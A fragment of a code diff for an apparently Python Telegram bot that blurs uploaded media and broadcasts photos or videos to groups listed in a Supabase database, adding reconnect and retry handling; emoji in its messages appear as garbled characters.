<b>Blur set to: {percent}%</b>\nπ {clear_msg}\n\nThis will be applied to all future uploads.\n<i>(To disable, send /blur 0)</i>"
|
| 578 |
await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
|
| 579 |
+
else: await message.reply("β <b>Invalid command!</b>\nCorrect format: `/blur 60` or `/blur 60 20`")
|
|
|
|
| 580 |
except Exception as e: print(e)
|
| 581 |
|
| 582 |
def upload_file_sync(upload_url, file_path, api_key):
|
|
|
|
| 598 |
is_animation = message.animation or (message.document and message.document.mime_type and "gif" in message.document.mime_type)
|
| 599 |
is_photo = message.photo or (message.document and message.document.mime_type and "image" in message.document.mime_type)
|
| 600 |
|
| 601 |
+
if not (is_video or is_animation or is_photo): return
|
|
|
|
| 602 |
|
| 603 |
media_type = "video" if (is_video or is_animation) else "photo"
|
| 604 |
has_blur_caption = message.caption and "/blur" in message.caption.lower()
|
|
|
|
| 835 |
try: await status_msg.delete()
|
| 836 |
except: pass
|
| 837 |
|
| 838 |
+
# Load groups safely with auto-retry
|
| 839 |
+
try:
|
| 840 |
+
groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
|
| 841 |
+
except Exception as db_err:
|
| 842 |
+
await message.reply(f"β οΈ Failed to fetch groups from database: {db_err}")
|
| 843 |
+
return
|
| 844 |
+
|
| 845 |
group_ids = [g['group_id'] for g in groups_res.data]
|
| 846 |
success_count, fail_count = 0, 0
|
| 847 |
|
| 848 |
+
# Safe Broadcast Phase
|
| 849 |
for gid in set(group_ids):
|
| 850 |
retries = 3
|
| 851 |
while retries > 0:
|
| 852 |
try:
|
| 853 |
+
if not client.is_connected: await client.connect()
|
| 854 |
if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
|
| 855 |
else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
|
| 856 |
success_count += 1
|
|
|
|
| 859 |
await asyncio.sleep(e.value + 1)
|
| 860 |
except Exception as e:
|
| 861 |
err_msg = str(e).lower()
|
| 862 |
+
if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg or "network" in err_msg:
|
| 863 |
retries -= 1
|
| 864 |
await asyncio.sleep(3)
|
| 865 |
else:
|
|
|
|
| 867 |
break
|
| 868 |
await asyncio.sleep(1.5)
|
| 869 |
|
| 870 |
+
# Success notification safely
|
| 871 |
retries = 3
|
| 872 |
while retries > 0:
|
| 873 |
try:
|
| 874 |
+
if not client.is_connected: await client.connect()
|
| 875 |
await message.reply(f"π’ <b>Broadcast Complete!</b>\n\nβ
Success: {success_count} groups\nβ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
|
| 876 |
break
|
| 877 |
except FloodWait as e:
|
|
|
|
| 881 |
if "disconnect" in err_msg or "connection" in err_msg or "timeout" in err_msg:
|
| 882 |
retries -= 1
|
| 883 |
await asyncio.sleep(3)
|
| 884 |
+
else: break
|
|
|
|
| 885 |
|
| 886 |
except Exception as e:
|
| 887 |
+
try: await message.reply(f"β οΈ Error during upload/broadcast: {str(e)}")
|
| 888 |
except: pass
|
| 889 |
finally:
|
| 890 |
for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None, f"{original_file}_storage_thumb.jpg" if original_file else None]:
|